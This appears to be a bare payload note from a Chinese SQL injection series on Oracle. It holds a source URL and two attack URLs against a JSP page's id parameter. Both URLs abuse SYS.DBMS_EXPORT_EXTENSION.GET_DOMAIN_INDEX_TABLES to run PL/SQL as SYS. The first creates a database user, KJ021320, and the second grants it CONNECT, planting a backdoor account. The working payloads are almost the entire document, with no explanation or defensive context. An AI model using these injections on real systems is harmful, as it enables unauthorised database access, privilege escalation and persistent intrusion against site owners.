ART OF WEB-SQL-INJECTION第2卷 ORACLE篇

 http://www.gingili.cn/article/2008/0405/article_922.html

http://127.0.0.1:8080/VOA/test.jsp?id=282 and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER KJ021320 IDENTIFIED BY KJ021320'''';END;'';END;--','SYS',0,'1',0)=''

http://127.0.0.1:8080/VOA/test.jsp?id=282 and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''GRANT CONNECT TO KJ021320'''';END;'';END;--','SYS',0,'1',0)=''